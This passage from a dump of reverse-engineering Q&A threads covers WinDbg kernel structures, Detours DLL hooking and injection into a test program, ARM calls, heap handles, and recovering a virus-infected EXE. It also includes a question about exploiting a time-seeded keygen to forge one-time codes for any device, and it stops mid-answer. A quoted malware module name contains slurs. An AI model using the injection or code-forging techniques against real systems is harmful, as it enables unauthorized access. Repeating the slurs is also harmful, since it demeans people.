+0x05c DeferredProcessor : Uint4B\n   +0x060 ApcQueueLock     : Uint4B\n   +0x064 ContextSwitches  : Uint4B\n   +0x068 State            : UChar\n   +0x069 NpxState         : Char\n   +0x06a WaitIrql         : UChar\n   +0x06b WaitMode         : Char\n   +0x06c WaitStatus       : Int4B\n   +0x070 WaitBlockList    : Ptr32 _KWAIT_BLOCK\n   +0x074 WaitListEntry    : _LIST_ENTRY\n   +0x074 SwapListEntry    : _SINGLE_LIST_ENTRY\n   +0x07c Queue            : Ptr32 _KQUEUE\n   +0x080 WaitTime         : Uint4B\n   +0x084 KernelApcDisable : Int2B\n   +0x086 SpecialApcDisable : Int2B\n   +0x084 CombinedApcDisable : Uint4B\n   +0x088 Teb              : Ptr32 Void\n   +0x090 Timer            : _KTIMER\n   +0x0b8 AutoAlignment    : Pos 0, 1 Bit\n   +0x0b8 DisableBoost     : Pos 1, 1 Bit\n   +0x0b8 EtwStackTraceApc1Inserted : Pos 2, 1 Bit\n   +0x0b8 EtwStackTraceApc2Inserted : Pos 3, 1 Bit\n   +0x0b8 CalloutActive    : Pos 4, 1 Bit\n   +0x0b8 ApcQueueable     : Pos 5, 1 Bit\n   +0x0b8 EnableStackSwap  : Pos 6, 1 Bit\n   +0x0b8 GuiThread        : Pos 7, 1 Bit\n   +0x0b8 UmsPerformingSyscall : Pos 8, 1 Bit\n   +0x0b8 ReservedFlags    : Pos 9, 23 Bits\n   +0x0b8 ThreadFlags      : Int4B\n   +0x0bc ServiceTable     : Ptr32 Void\n   +0x0c0 WaitBlock        : [4] _KWAIT_BLOCK\n   +0x120 QueueListEntry   : _LIST_ENTRY\n   +0x128 TrapFrame        : Ptr32 _KTRAP_FRAME\n   +0x12c FirstArgument    : Ptr32 Void\n   +0x130 CallbackStack    : Ptr32 Void\n   +0x130 CallbackDepth    : Uint4B\n   +0x134 ApcStateIndex    : UChar\n   +0x135 BasePriority     : Char\n   +0x136 PriorityDecrement : Char\n   +0x136 ForegroundBoost  : Pos 0, 4 Bits\n   +0x136 UnusualBoost     : Pos 4, 4 Bits\n   +0x137 Preempted        : UChar\n   +0x138 AdjustReason     : UChar\n   +0x139 AdjustIncrement  : Char\n   +0x13a PreviousMode     : Char\n   +0x13b Saturation       : Char\n   +0x13c SystemCallNumber : Uint4B\n   +0x140 FreezeCount      : Uint4B\n   +0x144 UserAffinity     : _GROUP_AFFINITY\n   +0x150 Process          : Ptr32 _KPROCESS\n   +0x154 Affinity         : _GROUP_AFFINITY\n   +0x160 IdealProcessor   : Uint4B\n   +0x164 UserIdealProcessor : Uint4B\n   +0x168 ApcStatePointer  : [2] Ptr32 _KAPC_STATE\n   +0x170 SavedApcState    : _KAPC_STATE\n   +0x170 SavedApcStateFill : [23] UChar\n   +0x187 WaitReason       : UChar\n   +0x188 SuspendCount     : Char\n   +0x189 Spare1           : Char\n   +0x18a OtherPlatformFill : UChar\n   +0x18c Win32Thread      : Ptr32 Void\n   +0x190 StackBase        : Ptr32 Void\n   +0x194 SuspendApc       : _KAPC\n   +0x194 SuspendApcFill0  : [1] UChar\n   +0x195 ResourceIndex    : UChar\n   +0x194 SuspendApcFill1  : [3] UChar\n   +0x197 QuantumReset     : UChar\n   +0x194 SuspendApcFill2  : [4] UChar\n   +0x198 KernelTime       : Uint4B\n   +0x194 SuspendApcFill3  : [36] UChar\n   +0x1b8 WaitPrcb         : Ptr32 _KPRCB\n   +0x194 SuspendApcFill4  : [40] UChar\n   +0x1bc LegoData         : Ptr32 Void\n   +0x194 SuspendApcFill5  : [47] UChar\n   +0x1c3 LargeStack       : UChar\n   +0x1c4 UserTime         : Uint4B\n   +0x1c8 SuspendSemaphore : _KSEMAPHORE\n   +0x1c8 SuspendSemaphorefill : [20] UChar\n   +0x1dc SListFaultCount  : Uint4B\n   +0x1e0 ThreadListEntry  : _LIST_ENTRY\n   +0x1e8 MutantListHead   : _LIST_ENTRY\n   +0x1f0 SListFaultAddress : Ptr32 Void\n   +0x1f4 ThreadCounters   : Ptr32 _KTHREAD_COUNTERS\n   +0x1f8 XStateSave       : Ptr32 _XSTATE_SAVE\n
    \n\n

    Solution

    \n\n

    The only thing that came to my mind as a possible solution is to run the code and see what the registers point to,but on top of not knowing whether it is correct or not, I don't know how to do it. As you may have guessed I'm pretty inexperienced.

    \n", "Title": "Reverse Engineering Windows kernel routines", "Tags": "|windows|assembly|x86|", "Answer": "

    This Thread Popped up Due To Recent Activity

    \n\n

    Quoting from The Accepted Answer An Answer By Nirlzr

    \n\n
    \n

    And specifically, that dereference you're seeing at the top of the\n assembly you shared is the implementation of ASSERT_THREAD:

    \n
    \n\n

    the Disassembly and Derefernces does not belong to ASSERT_THREAD

    \n\n

    the derefernces check the StackCount memeber of _KAPC_STATE.Process.StackCount

    \n\n
    kd> dt nt!_ETHREAD Tcb.ApcState.Process->StackCount.StackCount\n   +0x000 Tcb                                         : \n      +0x040 ApcState                                    : \n         +0x010 Process                                     : \n            +0x074 StackCount                                  : \n               +0x000 StackCount                                  : Pos 3, 29 Bits  \n
    \n\n

    googling geoffrey chappel _KTHREAD will provide more information about the overlay and the Priortity member a char which is fitted inside KAPC_STATE for x86

    \n" }, { "Id": "13717", "CreationDate": "2016-10-14T03:13:39.113", "Body": "

    I am trying to read the arguments sent to an external dll file \"FlashToolLib.dll\". My hook function is never triggered, I am guessing because I have the address wrong. I have tried the address in both the dll, and the exe

    \n\n

    FUNCTION:

    \n\n
     public FlashTool_Connect_BROM_ByName\n.text:5F866580 FlashTool_Connect_BROM_ByName proc near\n.text:5F866580\n.text:5F866580 var_B4          = dword ptr -0B4h\n.text:5F866580 var_B0          = dword ptr -0B0h\n.text:5F866580 var_AC          = dword ptr -0ACh\n.text:5F866580 var_A8          = dword ptr -0A8h\n.text:5F866580 var_A4          = dword ptr -0A4h\n.text:5F866580 var_A0          = dword ptr -0A0h\n.text:5F866580 var_9C          = dword ptr -9Ch\n.text:5F866580 var_98          = dword ptr -98h\n.text:5F866580 var_94          = dword ptr -94h\n.text:5F866580 var_84          = dword ptr -84h\n.text:5F866580 var_80          = dword ptr -80h\n.text:5F866580 var_7C          = dword ptr -7Ch\n.text:5F866580 var_78          = dword ptr -78h\n.text:5F866580 var_68          = dword ptr -68h\n.text:5F866580 var_64          = dword ptr -64h\n.text:5F866580 var_60          = dword ptr -60h\n.text:5F866580 var_5C          = dword ptr -5Ch\n.text:5F866580 var_4C          = dword ptr -4Ch\n.text:5F866580 var_48          = dword ptr -48h\n.text:5F866580 var_44          = dword ptr -44h\n.text:5F866580 var_40          = dword ptr -40h\n.text:5F866580 var_30          = dword ptr -30h\n.text:5F866580 var_2C          = dword ptr -2Ch\n.text:5F866580 var_28          = dword ptr -28h\n.text:5F866580 var_4           = dword ptr -4\n.text:5F866580 arg_0           = dword ptr  8\n.text:5F866580 arg_4           = dword ptr  0Ch\n.text:5F866580 arg_8           = dword ptr  10h\n.text:5F866580 arg_C           = dword ptr  14h\n.text:5F866580 arg_10          = dword ptr  18h\n
    \n\n

    MY C++ CODE:

    \n\n
        #include \"stdafx.h\"\n#include <iostream>\n#include <detours.h>\n#include <Windows.h>\n\n\nvoid hookedFunc(DWORD arg1, DWORD arg2, DWORD arg3, DWORD arg4, DWORD arg5) {\n\n\n    //Msgbox - arg 1//////////////////////////////////////////////////////////////////////////////\n    WCHAR szTest[10]; // WCHAR is the same as wchar_t\n                      // swprintf_s is the same as sprintf_s for wide characters\n    swprintf_s(szTest, 10, L\"%d\", arg1); // use L\"\" prefix for wide chars\n    MessageBox(NULL, szTest, L\"TEST\", MB_OK); // a messageboy example again L as prefix\n    /////////////////////////////////////////////////////////////////////////////////////////////\n\n    std::cout << \"original function: argument1 = \" << arg1 << std::endl; //print argument\n    std::cout << \"original function: argument2 = \" << arg2 << std::endl; //print argument\n    std::cout << \"original function: argument3 = \" << arg3 << std::endl; //print argument\n    std::cout << \"original function: argument4 = \" << arg4 << std::endl; //print argument\n    std::cout << \"original function: argument5 = \" << arg5 << std::endl; //print argument\n\n}\n\n\n\nBOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    HMODULE FlashToolLib = GetModuleHandleA(\"FlashToolLib.dll\");\n    LPVOID fConnect = (LPVOID)GetProcAddress(FlashToolLib, \"FlashTool_Connect_BROM_ByName\");\n\n\n    switch (dwReason)\n    {\n\n\n    case DLL_PROCESS_ATTACH:\n\n\n        MessageBox(NULL, L\"We are in.\", L\"Injection Success.\", MB_OK);\n        DetourTransactionBegin();\n        DetourAttach((PVOID*)fConnect,(PVOID)hookedFunc);\n        DetourTransactionCommit();\n\n    }\n    return TRUE;\n}\n
    \n", "Title": "Reverse Engineering Exported DLL Function", "Tags": "|c++|function-hooking|dll-injection|", "Answer": "

    Searched the local drive for an unknown binary that uses a dll
    \nfound calc.exe from gnuwin32 it uses 2 dlls calc2.dll and readline5.dll

    \n\n

    copied all 3 of them to a test directory

    \n\n
    e:\\GNUWIN32\\bin>cp -v calc.exe calc2.dll readline5.dll e:\\test\\detours\\.\n`calc.exe' -> `e:\\\\test\\\\detours\\\\./calc.exe'\n`calc2.dll' -> `e:\\\\test\\\\detours\\\\./calc2.dll'\n`readline5.dll' -> `e:\\\\test\\\\detours\\\\./readline5.dll'\n
    \n\n

    wrote a small idc script to dump an arbitrary function

    \n\n
    e:\\test\\detours>cat temp.idc\n#include <idc.idc>\nstatic main(void)\n{\n  auto fp;\n  fp = fopen(\"bla.lst\",\"w\");\n  GenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);\n  fclose(fp);\n  Exit(2);\n}\n
    \n\n

    executed idafree to make a lst file

    \n\n
    idag.exe -B -Stemp.idc calc2.dll\n
    \n\n

    found the RVA of an arbitrary Function

    \n\n
    e:\\test\\detours>grep -i imagebase bla.lst\n.text:68D41000 ; Imagebase   : 68D40000\n\ne:\\test\\detours>grep -i export.*zcmp bla.lst\n.text:68DC1440 ; Exported entry 791. zcmp\n.text:68DC1E10 ; Exported entry 792. zcmpmod\n\ne:\\test\\detours>set /a 0x68dc1440-0x68d40000\n529472\n
    \n\n

    made a simple poc using the rva

    \n\n
    //compiled and linked with enterprise wdk using\n//cl /LD /W4 /Ox /Zi /analyze /EHsc d2r.cpp /link /DEBUG /RELEASE %linklibs% /EXPORT:DFunc\n#include <windows.h>\n#include <stdio.h>\n#include \"include\\detours.h\"\n#pragma comment (lib , \"lib\\\\detours.lib\")\ntypedef void (__cdecl *SomeFunction)(int,int,int,int,int,int);\nvoid  __cdecl DFunc(int i,int j,int k,int l,int m,int n);\nSomeFunction Func2Detour = (SomeFunction)((DWORD)GetModuleHandle(\"calc2.dll\") + 529472 );\nvoid  __cdecl DFunc(int i,int j,int k,int l,int m,int n) {\n  int x = 0;\n  printf(\"Arg %2d = 0x%08x\\t0x%08x\\n\" , x++,i,*(int*)i);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, j);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, k);\n  printf(\"Arg %2d = 0x%08x\\t0x%08x\\n\" , x++,l,*(int *)l);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, m);\n  printf(\"Arg %2d = 0x%08x\\n\" , x++, n);\n  Func2Detour(i,j,k,l,m,n);\n}\nINT APIENTRY DllMain(HMODULE,DWORD Reason,LPVOID) {\n  if (Reason == DLL_PROCESS_ATTACH ){\n    DetourTransactionBegin();\n    DetourUpdateThread(GetCurrentThread());\n    DetourAttach(&(PVOID&)Func2Detour, DFunc);\n    DetourTransactionCommit();\n  }\n  return TRUE;\n}\n
    \n\n

    compiled and linked as commented in source above

    \n\n
    Microsoft (R) C/C++ Optimizing Compiler Version 19.00.23506 for x86\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\nd2r.cpp\nMicrosoft (R) Incremental Linker Version 14.00.23506.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n/out:d2r.dll\n/dll\n/implib:d2r.lib\n/debug\n/DEBUG\n/RELEASE\nuser32.lib\nkernel32.lib\ndbghelp.lib\n/EXPORT:DFunc\nd2r.obj\n   Creating library d2r.lib and object d2r.exp\n
    \n\n

    injected the dll with withdll.exe from detours sample

    \n\n
    e:\\test\\detours>e:\\detour\\bin.X86\\withdll.exe /d:d2r.dll .\\calc.exe\nwithdll.exe: Starting: `.\\calc.exe'\nwithdll.exe:   with `e:\\test\\detours\\d2r.dll'\nC-style arbitrary precision calculator (version 2.11.10.1)\nCalc is open software. For license details type:  help copyright\n[Type \"exit\" to exit, or \"help\" for help.]\n\n;\n
    \n\n

    the detour dumps all the six arguments

    \n\n
    ; 2+2\nArg  0 = 0x0134b750     0x00000002\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11f4     0x00000002\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        4\n; 45^89\n        1367457148855142104017389933103900519105\n058455901337287730364197964327832579556343262083\n; 4^8\nArg  0 = 0x0134b7f8     0x00000004\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11fc     0x00000004\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        65536\n; 4.5^8\nArg  0 = 0x0134b828     0x0000002d\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x0134dab8     0x0000000a\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        168151.25390625\n; 3&5\nArg  0 = 0x0134b828     0x00000003\nArg  1 = 0x00000001\nArg  2 = 0x00000000\nArg  3 = 0x68de11f8     0x00000003\nArg  4 = 0x00000001\nArg  5 = 0x00000000\n        1\n
    \n" }, { "Id": "13718", "CreationDate": "2016-10-14T10:50:13.283", "Body": "

    I noticed a strange instruction pattern. First the value of PC is moved into LR and then a register value is moved into PC.

    \n\n

    Here some examples:

    \n\n
    .text:00001488                 MOV             LR, PC\n.text:0000148C                 MOV             PC, R2\n ...\n.text:000304E8                 MOVNE           LR, PC\n.text:000304EC                 MOVNE           PC, R3\n
    \n\n

    If this pattern corresponds to a call instruction, wouldn't this result in an endless loop? If this does not correspond to a call, what is this ?

    \n", "Title": "ARM assembly: Strange instruction pattern (endless loop?)", "Tags": "|disassembly|assembly|arm|", "Answer": "

    This was actually the correct way to perform indirect calls in ARM before the introduction of the BLX instruction (ARMv5 IIRC). ARM(32-bit version) is special in that the value of PC is pointing two instructions ahead when you read it (so +8 in ARM mode and +4 in Thumb mode). So, taking your example:

    \n\n
    .text:00001488                 MOV             LR, PC\n
    \n\n

    here, the PC value will be 1488+8 = 1490, so LR=0x1490

    \n\n
    .text:0000148C                 MOV             PC, R2\n
    \n\n

    here, the PC will be set to the value in R2 and the processor will start fetching instructions from that address. Most likely it will be a function which ends with a return instruction - MOV PC, LR (IDA shows it as RET), so the execution will resume at the value of LR\uff080x1490) which happens to be just after the original MOV PC, R2 instruction (0148C+4=0x1490), so in effect that sequence of instruction is equivalent to BLX R2 in the newer processors.

    \n" }, { "Id": "13727", "CreationDate": "2016-10-15T20:17:38.697", "Body": "

    I can see in the windbg disassembly the handle to the process heap on, allocated by the Windows (WINDOWS 10) for my process:

    \n\n
    0:000> dt nt!_PEB 0106c000\nntdll!_PEB\n   +0x000 InheritedAddressSpace : 0 ''\n   +0x001 ReadImageFileExecOptions : 0 ''\n   +0x002 BeingDebugged    : 0x1 ''\n   +0x003 BitField         : 0x4 ''\n   +0x003 ImageUsesLargePages : 0y0\n   +0x003 IsProtectedProcess : 0y0\n   +0x003 IsImageDynamicallyRelocated : 0y1\n   +0x003 SkipPatchingUser32Forwarders : 0y0\n   +0x003 IsPackagedProcess : 0y0\n   +0x003 IsAppContainer   : 0y0\n   +0x003 IsProtectedProcessLight : 0y0\n   +0x003 IsLongPathAwareProcess : 0y0\n   +0x004 Mutant           : 0xffffffff Void\n   +0x008 ImageBaseAddress : 0x00840000 Void\n   +0x00c Ldr              : 0x77a4ebe0 _PEB_LDR_DATA\n   +0x010 ProcessParameters : 0x03b885e0 _RTL_USER_PROCESS_PARAMETERS\n   +0x014 SubSystemData    : (null) \n   +0x018 ProcessHeap      : 0x03b70000 Void\n
    \n\n

    Now i want to examine the heap header, and apply the dt !_HEAP to the ProcessHeap : 0x03b70000, but i can see that i get totaly invalid data in result. !heap -s gives me totally different results for the heap,

    \n\n
    LFH Key                   : 0xd5ec6951\nTermination on corruption : ENABLED\n  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast \n                    (k)     (k)    (k)     (k) length      blocks cont. heap \n-----------------------------------------------------------------------------\n05e90000 00000002    1020      4   1020      2     1     1    0      0      \n00ff0000 00001002      60      4     60      2     1     1    0      0     \n
    \n\n

    I understand, that the address where the heap header starts must be calculated from this handle, ProcessHeap : 0x03b70000 Void but i don't understand how it is calculated. its not a va, because 00840000 + 03b70000 != 05e90000 , so how to get from the heap handle, to the actual address of _HEAP structure header?

    \n", "Title": "Heap address Calculation", "Tags": "|windows|memory|process|address|heap|", "Answer": "

    The problem was due to the Page Heap verification, enabled by Gflags. I forgot about that, and the heap verifier was messing with the heap handles. When i disabled it, the handle at the PEB became valid.

    \n" }, { "Id": "13728", "CreationDate": "2016-10-16T00:27:37.013", "Body": "

    I'm trying to restore a file that was infected by a virus (gaelicum or tenga)

    \n\n

    It's an appending virus.

    \n\n

    This is the warning I get when opening it in OllyDbg

    \n\n
    : ---------------------------\nEntry Point Alert\n---------------------------\nModule 'SUPER_GAY_NIGGERS' has entry point outside the code (as specified in the PE header). Maybe this file is self-extracting or self-modifying. Please keep it in mind when setting breakpoints!\n---------------------------\nOK   \n---------------------------\n
    \n\n

    My questions are:

    \n\n
      \n
    1. How can I figure out what was the original Entry Point?
      2. \n
    2. How can I restore the original entry point once I recover it?
      3. \n
    \n", "Title": "Restoring an Infected appending virus EXE file by", "Tags": "|ollydbg|pe|malware|entry-point|", "Answer": "

    It is important to do the entire process inside a virtual machine to avoid any additional file infections and/or suffer the malicious effects of the virus.

    \n\n

    Finding the original entry point

    \n\n

    This is not a trivial task, since once the PE's entry point changes it is no longer recorded anywhere in the PR header. The only way to find the original entry point is through debugging the PE's execution throughout the malicious code added, until the additional code reaches to the original entry point.

    \n\n

    Doing that depends heavily on how complex and protected the malicious code is. A simple approach (that might work) could be using a debugger such as ollydbg to run the code until it reached the original code's memory region (this can be done by opening the memory window and pressing f12 after selecting the relevant memory regions).

    \n\n

    If the malicious code implements any anti-debugging protections you might need to bypass those.

    \n\n

    Changing the entry point back

    \n\n

    If you've used ollydbg in the previous part, you could use PE dump plugin (OllyDumpEx for example) to dump the PE with the entry point by using the plugin when EIP points to that entry point.

    \n\n

    Alternatively, you can use any PE editing tool (like PEExplorer, LordPE or CFFExplorer) or advanced hex editor (My personal preference is 010Editor) to edit the Entry Point field in the PE header directly.

    \n\n

    Removing residues

    \n\n

    Although the malicious code should no longer run it is still inside your file. As an optional third step, you might want to remove the file infector's residue. According to the error message, it seems the file infector added it's own section, so by using a PE editor you could remove that new section in order to remove at least most of the virus's residues in your file.

    \n" }, { "Id": "13729", "CreationDate": "2016-10-16T04:23:10.633", "Body": "

    I came across the following instruction in IDA:

    \n\n
    movsx edx, byte_407030[ecx]\n
    \n\n

    byte_407030 is 25h. Is it trying to access some memory location? I know that ecx is storing a counter in a for loop.

    \n", "Title": "What does byte_407030[ecx] mean?", "Tags": "|ida|assembly|", "Answer": "

    Lets go step by step:

    \n\n
    movsx\n
    \n\n

    This is a specialized move instruction it moves a value from source of a smaller size (in your case, a byte) to a destination of a potentially larger size (in your case, a double word), preserving the sign bit by an operation called sign-extending.

    \n\n

    This means that if the byte was a negative integer then the destination will also be a negative integer. This is a bit more complex then simply copying the last bit because of the way negative integers are encoded (which is called two's complement).

    \n\n
    edx \n
    \n\n

    The first operand of a mov instruction is the destination target. In this case it's the double-word register edx. This is were the data is moved to.

    \n\n
    byte_407030[ecx]\n
    \n\n

    The second operand is the source operand. This is where the data is moved from. Please note that although the instruction is mov, the value also remains in the source location. Calling it \"copy\" might have been a better idea ;).

    \n\n

    IDA's syntax here is similar to C's syntax. This will dereference the memory region at address 0x407030 plus the value of ecx and fetch a byte from there. In case ecx is 11h, the final address would be 0x407041.

    \n\n

    summary\n
    This instruction will take the byte value at memory address of 0x407030+ecx, sign extend it to dword (4 bytes in most architectures) and assign that final value into register edx

    \n" }, { "Id": "13737", "CreationDate": "2016-10-16T17:19:29.720", "Body": "

    I try to use IDA dissembler and I don't really understand the following text paragraphs appearing at the head of functions:

    \n\n
    arg_0 = dword ptr 4\n
    \n\n

    Can anyone explain their meaning?

    \n", "Title": "What does arg_0 = dword ptr 4 mean?", "Tags": "|ida|x86|", "Answer": "

    That's not a command, and not really part of the assembly language.\nIDA uses those markers to ease the reading of assembly instructions relating to the stack.

    \n\n

    Once IDA detects an offset would point into the function's stack as either an internal variable or an argument, it'll assign a name to the specific stack offsets each parameter and/or argument points to from the base of the stack.

    \n\n

    It then calculates all offsets to the same position regardless of stack growth/shrinking and will use the stack offset names where-ever they're possible.

    \n\n

    The syntax is the following:

    \n\n
    <argument/variable name> = <size> ptr <offset from stack base>\n
    \n\n

    So in your example, IDA identified the first argument to the function and named it arg_0 (you can change the name by pressing n when your cursor is on it). The argument is a dword and the function's base stack offset is 4.

    \n\n

    Because the offset is positive IDA identified the stack address as an argument. Negative offsets will be recognized as variables and will have the var_ prefix instead.

    \n" }, { "Id": "13741", "CreationDate": "2016-10-16T21:53:15.920", "Body": "

    I have created a plugin/idascript (ida-batch_decompile) that aims to make it easier to decompile a target including images referenced as imports or any other decompilable files in the targets project dir. Optionally it also adds some helpful annotations to the pseudocode. In order to make this as convenient as possible I've added a Dialog that helps in enumerating target files and allows to select files for decompiliation from within ida pro. For the selection I'm using a variant of the Choose2 control that I borrowed from EiNSTeiN.

    \n\n

    What I'd like to have is a way to dynamically add items (e.g. on button click) to an already displayed Choose2 list control. For some reason, this does not work, newly added items are not displayed unless I manually right-click/refresh on that listview control. I tried calling Chooser2.Refresh(), Form.Refresh() without any luck. The only workaround that kind of works is to close the form, add items to the listview and re-exec that form in order for it to show up. This is kind of ugly (see gif 1).

    \n\n
    def OnButtonLoad(self, code=0):\n    # superdirty close, propagate, execute hack, otherwise listview would not be updated\n    self.Close(0)\n    # add items to listview\n    self.propagateItems(enumerate_other=True, enumerate_imports=True)\n    self.Execute()\n
    \n\n

    --?-- What is the correct way to add items to an already existing Choose2 listcontrol and have it refresh without having to Close(); Execute() the whole form?

    \n\n

    I was searching for something like

    \n\n
    Chooser.items.add(newItem)\nChooser.Refresh()\n
    \n\n

    but that does not seem to refresh the listview control.

    \n", "Title": "idaypthon - how to refresh Choose2 listcontrol once it has been displayed?", "Tags": "|ida|idapython|", "Answer": "

    Unfortunately IDA's builtin controllers are rather simple and do not support the full flexibility of the QT controls you're based on.

    \n\n

    Luckily for you, IDA exposed most of the QT API directly, and plugin developers are not able to interface with QT directly. In the past this wasn't possible, and we were bound to the Choose2, Ask* functions.\nI will not recommend anyone developing anything more than the simplest of plugins to use the provided IDA dialogs anymore. Instead, you should interface with QT directly for most of your UI development.

    \n\n

    Although using QT is a bit more complex (you'll might need to deal with QT' signals and slots) it also enables a lot of flexibility.

    \n\n

    Following is a short snippet that will let you update a list view. Every time the \"add item\" button is clicked, a new item will appear in the list.

    \n\n
    form PyQt5 import QtWidgets\n\nclass ListViewDemoDialog(QtWidgets.QDialog):\n    def __init__(self):\n        super(ListViewDemoDialog, self).__init__(**kwargs)\n\n        # create a layout to place controllers (called widgets) on\n        layout = QtWidgets.QVBoxLayout())\n\n        # create an empty list\n        self.list = QtWidgets.QListWidget()\n\n        # create a button and connect it's \"clicked\" signal to our \"add_item\" slot\n        self.addbtn = QtWidgets.QPushButton(\"Add item\")\n        self.addbtn.clicked.connect(self.add_item)\n\n        layout.addWidget(self.addbtn)\n        layout.addWidget(self.list)\n\n        # make our created layout the dialogs layout\n        self.setLayout(layout)\n\n     def add_item(self):\n         self.list.addItem(\"This is an item\")\n
    \n" }, { "Id": "13744", "CreationDate": "2016-10-17T20:09:12.687", "Body": "

    Lately I've been inspecting a key generator program in IDA Pro. I believe the thread here discusses a similar key generator. Therefore, it may be referred to for certain details. The key generator takes a device serial number as input and generates a 32 byte (character) master key along with a OTPAUTH URI of the form in the link aforementioned.

    \n\n\n\n

    Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?

    \n\n

    Edit:\nSo now there are some new questions:

    \n\n\n\n

    Vulnerability: Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary? While I'm writing this section 1476946414 seconds have passed since epoch. Assume creating a TOTP for the time equivalent to 1476947000 seconds passed from epoch. The keygen may be modified such that 1476947000 is passed to srand() instead of time(NULL). Presumably there will also be enough time to derive the TOTP from the OTPAUTH URI.

    \n\n

    Patching using IDA Pro 6.8:

    \n\n

    So I thought its better to continue in a hands on fashion. Scrolling through the disassembly, I changed the call to time(NULL) to a mov instruction, assigning my favorite time to eax. In order to check my patch I ran the original keygen on the favorite time. The results were equivalent. Three things still bother me:

    \n\n
      \n
    1. May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!
      2. \n
    2. The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance digest.c, pmeth_gn.c, pmeth_lib.c, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using findcrypt2.
      3. \n
    3. I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!
      4. \n
    \n\n

    Switching to Linux:

    \n\n
      \n

    1. So I installed Ubuntu 16.04 and ran the patched linux binary keygen. The key file and the secret were completely different from the ones generated by Windows for the same time. Before reaching the specified time, I created the HMAC and derived the TOTP codes for that specific time and entered them exactly on the specific time. However, I was not able to authenticate. It may seem that the server is not expecting TOTPs for the current time. I have no idea TOTPs for what time should I feed to the server!

      2. \n

    2. While findcrypt2 did not find any sign of AES in Windows keygen binary, it did notice multiple Rijndael 's in the Linux keygen binary (just adding as additional info).

      3. \n

    3. I have been able to receive the server binary. I think the authentication procedure must be outlined there. But where should I look?

      4. \n
    \n\n

    Here is the Final Problem:\nThe key generator program is used to produce device specific keys. There is a weakness in how these keys are generated which should be exploited to generate valid one-time codes for any device.

    \n\n
      \n

    1. The serial number may be any 9-digit number. I personally have been working with 381151134.

      2. \n

    2. Usage: keygen [-g OR -m master_key_file] -k serial -o master_output_file

      3. \n

    3. To download the keygen Linux binary click here. The Windows binary is found here.

      4. \n
    \n", "Title": "Why does TOTP secret change every second?", "Tags": "|ida|disassembly|", "Answer": "
    \n

    Since the key changes every second, so does the OTPAUTH URI. I wonder how is the server supposed to verify a TOTP once a client enters it under this situation?

    \n
    \n\n

    The server must be aware of previously generated keys to provide usability. Either by generating previous keys on the fly (I can imagine an algorithm that tries t-0 and if that fails t-1 and if that fails t-2 for a predefined range to allow users to input a value some time after moving to the next.

    \n\n

    Otherwise the entire generate-insert-send-validate process is limited to a short window. Accepting more than one valid key at a time is acceptable because the range remains short, values are still hard to predict, brute-forcing remains impossible (this can be further mitigated by limiting the accepted key's range after several incorrect attempts).

    \n\n
    \n

    How do I authenticate to a server with this keygen knowing that the keygen is using srand(time(NULL)) for the seed while calling rand() 8 consecutive times to generate a 32-byte random sequence.

    \n
    \n\n

    Without reverse engineering the entire key generation algorithm and actual generation process it is impossible to know. You'll need to reverse engineer the function calling rand() and build a simulator for the key generation process.

    \n\n

    If what you described is the entire process, You're left with figuring out how are those rand() values are joined together (are they concatenated? xored to each other? How is the final value encoded?)

    \n\n

    EDIT: Answer additional question presented under 'Vulnerability'

    \n\n
    \n

    Isn't the server susceptible to creating TOTPs of the future and saving them in a repository by an adversary?

    \n
    \n\n

    It is, but as I mentioned in this answer in response to you're first question that does not necessarily happens. The validation code can generate the TOTP keys it considered reasonable/potential every time it needs to execute a validation.

    \n\n

    Additionally, this requires an adversary to hack gain access to that secure storage however if an adversary gained access to that secure storage to steal the TOTP keys, he might as well steal the master key used to generate those keys and gain the ability to generate TOTP keys as he wishes. For this reason storing the keys in the same place the master key is stored does not increase risk.

    \n\n

    Obviously, the server has the ability to generate keys in order to validate them, and must be made sure to be trustworthy for the mechanism to function securely. This is a common requirement for most cryptographic protocols that certain points are to be trusted. After all, in order for the server to validate the user, it is reasonable to assume the server is protected.

    \n\n

    One could consider some kind of asymmetric key protocol instead of a symmetric key. However since this protocol is designed to validate a user by the server, it becomes moot whenever the server becomes untrusted.

    \n\n

    If an adversary hacks into a server to generate future keys, once this is detected replacing the master key (and all future TOTP keys accordingly) is a requirement.

    \n\n
    \n

    May the validation process the server carries out be concealed in the keygen or the keygen is what its only expected to be, a keygen?!

    \n
    \n\n

    The keygen and the server carry out the same basic process. Once as a way to provide proof of knowledge (the keygen), and one to verify it (server).

    \n\n

    The keygen is able to execute perform validations and the server is able to crete proofs, but that shouldn't happen (although it might, and that can ge risky and expose the protocol to vulnerabilities).

    \n\n
    \n

    The disassembly has a bunch of strings resembling openssl subroutines I presume. For instance digest.c, pmeth_gn.c, pmeth_lib.c, etc. The codes are available on the web. However, I found no lucid documentation for a layman. I suspect if the server's validation parameters are defined here. I've also been able to detect SHA256 and SHA512 cryptographic constants in the disassembly using findcrypt2.

    \n
    \n\n

    I'm not really sure what's the question here. I don't think any SSH functionality is directly related to the key generation, but I might be wrong.

    \n\n
    \n

    I've been cautioned that the keys are generated using Linux. What effect may this have? I'm still on the Windows track!

    \n
    \n\n

    Windows and Linux implement srand and rand differently. Specifically, they're using different constants or a different number of iterations and combinations between iterations. The basic block for common rand functions is this:

    \n\n
